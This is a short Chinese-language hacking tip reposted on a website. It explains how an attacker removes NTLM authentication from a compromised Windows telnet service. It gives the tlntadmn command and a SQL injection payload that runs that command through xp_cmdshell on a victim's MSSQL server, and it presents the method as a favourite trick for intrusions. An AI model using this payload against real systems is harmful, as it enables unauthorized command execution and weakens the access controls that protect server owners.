DDR爱好者之家 Design By 杰米
相信大家都对telnet比较熟悉吧。hacking的时候经常用到的系统自带shell尤其是注射的时候,但是最讨厌的就是ntlm认证了,以前大家去掉ntlm的方法一般有2种。 

1 上传ntml.exe 这种方法有很多缺点,比如:对方有杀毒软件,很多网段屏蔽了TFTP. 

2 直接写入telnet的配置信息到文本中然后在用shell执行。 这种办法非常麻烦。 


今天我给大家介绍我一直在使用的办法,压箱底的哦。 

那就是直接运行命令:tlntadmn config sec = -ntlm 

注射的话可以直接运行:;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'-- 
运行以后就去掉了该死的ntlm认证:) 赶快去试试吧。
DDR爱好者之家 Design By 杰米
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
DDR爱好者之家 Design By 杰米